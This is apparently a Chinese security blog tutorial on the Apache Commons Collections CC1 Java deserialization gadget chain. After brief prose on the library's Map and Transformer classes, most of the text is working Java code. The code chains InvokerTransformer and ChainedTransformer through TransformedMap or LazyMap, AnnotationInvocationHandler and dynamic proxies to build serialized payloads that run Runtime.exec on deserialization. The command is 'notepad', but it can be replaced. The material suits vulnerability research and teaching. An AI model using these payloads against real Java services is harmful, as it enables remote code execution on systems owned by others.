Map Commons Collections在java.util.Map的基础上扩展了很多接口和类，比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似，Commons Collections也提供了一个MapUtils。
所谓BidiMap，直译就是双向Map，可以通过key找到value，也可以通过value找到key，这在我们日常的代码-名称匹配的时候很方便：因为我们除了需要通过代码找到名称之外，往往也需要处理用户输入的名称，然后获取其代码。需要注意的是BidiMap当中不光key不能重复，value也不可以。
所谓MultiMap，就是说一个key不再是简单的指向一个对象，而是一组对象，add()和remove()的时候跟普通的Map无异，只是在get()时返回一个Collection，利用MultiMap，我们就可以很方便的往一个key上放数量不定的对象，也就实现了一对多。
所谓LazyMap，意思就是这个Map中的键/值对一开始并不存在，当被调用到时才创建。 https://www.iteye.com/blog/duohuoteng-1630329
Transformer 我们有时候需要将某个对象转换成另一个对象供另一组方法调用，而这两类对象的类型有可能并不是出于同一个继承体系的，或者说出了很基本的Object之外没有共同的父类，或者我们根本不关心他们是不是有其他继承关系，甚至就是同一个类的实例只是对我们而言无所谓，我们为了它能够被后续的调用者有意义的识别和处理，在这样的情形，我们就可以利用Transformer。除了基本的转型Transformer之外，Commons Collections还提供了Transformer链和带条件的Transformer，使得我们很方便的组装出有意义的转型逻辑。 https://blog.csdn.net/liliugen/article/details/83298363
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; //函数名
this.iParamTypes = paramTypes; //函数参数的类型
this.iArgs = args; //参数对象
}
public Object transform(Object input) {
Class cls = input.getClass(); //获取input的类
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法
return method.invoke(input, this.iArgs); //执行
}
public static void main(String[] args) throws Exception {//payloadInvokerTransformer x = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"notepad"});//服务端Object d = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));x.transform(d);}
Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))
public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public static void main(String[] args) throws Exception {//payloadTransformer[] x = new Transformer[]{new InvokerTransformer("exec",new Class[]{String.class},new String[]{"notepad"})};Transformer d = new ChainedTransformer(x);//服务端Object a = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));d.transform(a);}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public static void main(String[] args) throws Exception {//payloadTransformer[] x = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})};Transformer d = new ChainedTransformer(x);//payload序列化写入文件，当作网络传输FileOutputStream f = new FileOutputStream("payload.bin");ObjectOutputStream fout = new ObjectOutputStream(f);fout.writeObject(d);//服务端反序列化payload读取FileInputStream f1 = new FileInputStream("payload.bin");ObjectInputStream f2 = new ObjectInputStream(f1);Transformer a = (ChainedTransformer) f2.readObject();d.transform(null);}
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
public static void main(String[] args) throws Exception {
//x[0],object=""
Class s = Class.forName("java.lang.Class");
//x[1],object="java.lang.Runtime"
Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);
System.out.println(o + "nn");
//x[2],object="java.lang.Runtime.getRuntime()"
s = o.getClass();
o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);
System.out.println(s + "n" + o + "nn");
//x[3],object=
Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
System.out.println(o1);
}
Transformer a = (ChainedTransformer) f2.readObject(); d.transform(null);
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object);}protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object);}public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value);}
于是，我就尝试了一下：
interface Test extends Transformer {public Object transform(Object input);}class Test1 implements Test, Transformer {public Object transform(Object input) {return "x";}}class Test2 implements Test {public Object transform(Object input) {return "d";}}public class cc1 {public static void main(String[] args) throws Exception {Map innerMap = new HashMap();System.out.println(innerMap);Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());map.put("value", "value");System.out.println(map);}}
public class cc1 {public static void main(String[] args) throws Exception {//payloadTransformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})};Transformer d = new ChainedTransformer(x);Map map = new HashMap();map.put("value", "value");Map map1 = TransformedMap.decorate(map, null, d);//payload序列化写入文件，当作网络传输FileOutputStream f = new FileOutputStream("payload.bin");ObjectOutputStream fout = new ObjectOutputStream(f);fout.writeObject(map1);//服务端反序列化payload读取FileInputStream f1 = new FileInputStream("payload.bin");ObjectInputStream f2 = new ObjectInputStream(f1);Map map2 = (Map) f2.readObject();map2.put("value", "1");}}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}
public class cc1 {public static void main(String[] args) throws Exception {//payloadTransformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})};Transformer d = new ChainedTransformer(x);Map map = new HashMap();map.put("key", "key");Map map1 = TransformedMap.decorate(map, null, d);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);ct.setAccessible(true);Object o = ct.newInstance(Documented.class, map1);//payload序列化写入文件，当作网络传输FileOutputStream f = new FileOutputStream("payload.bin");ObjectOutputStream fout = new ObjectOutputStream(f);fout.writeObject(o);//服务端反序列化payload读取FileInputStream f1 = new FileInputStream("payload.bin");ObjectInputStream f2 = new ObjectInputStream(f1);f2.readObject();}}
public class cc1 {public static void main(String[] args) throws Exception {//payloadTransformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})};Transformer d = new ChainedTransformer(x);Map map = new HashMap();Map map1 = LazyMap.decorate(map, d);map1.get("key");}}
class expHandler implements InvocationHandler {protected Map map;public expHandler(Map map) {this.map = map;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {if (method.getName().compareTo("put") == 0) {System.out.println("Hook Method: " + method.getName());map.put("hi", "xd");}return method.invoke(this.map, args);}}public class cc1 {public static void main(String[] args) throws Exception {InvocationHandler handler = new expHandler(new HashMap());Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);proxyMap.put("hi", "sir");System.out.println(proxyMap);}
public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} else if (var5.length != 0) {throw new AssertionError("Too many parameters for an annotation method");} else {byte var7 = -1;switch(var4.hashCode()) {case -1776922004:if (var4.equals("toString")) {var7 = 0;}break;case 147696667:if (var4.equals("hashCode")) {var7 = 1;}break;case 1444986633:if (var4.equals("annotationType")) {var7 = 2;}}switch(var7) {case 0:return this.toStringImpl();case 1:return this.hashCodeImpl();case 2:return this.type;default:Object var6 = this.memberValues.get(var4);if (var6 == null) {throw new IncompleteAnnotationException(this.type, var4);} else if (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();} else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {var6 = this.cloneArray(var6);}return var6;}}}}
public class cc1 {public static void main(String[] args) throws Exception {//payloadTransformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})};Transformer d = new ChainedTransformer(x);Map map = new HashMap();Map map1 = LazyMap.decorate(map, d);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);ct.setAccessible(true);InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);Object o = ct.newInstance(Target.class, proxyMap); //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);//payload序列化写入文件，当作网络传输FileOutputStream f = new FileOutputStream("payload.bin");ObjectOutputStream fout = new ObjectOutputStream(f);fout.writeObject(o); //如果用的后面那种，则把o换成handler//服务端反序列化payload读取FileInputStream f1 = new FileInputStream("payload.bin");ObjectInputStream f2 = new ObjectInputStream(f1);f2.readObject();}}
本文作者：酒仙桥六号部队
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/188750.html
文章来源: https://www.secpulse.com/archives/188750.html
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh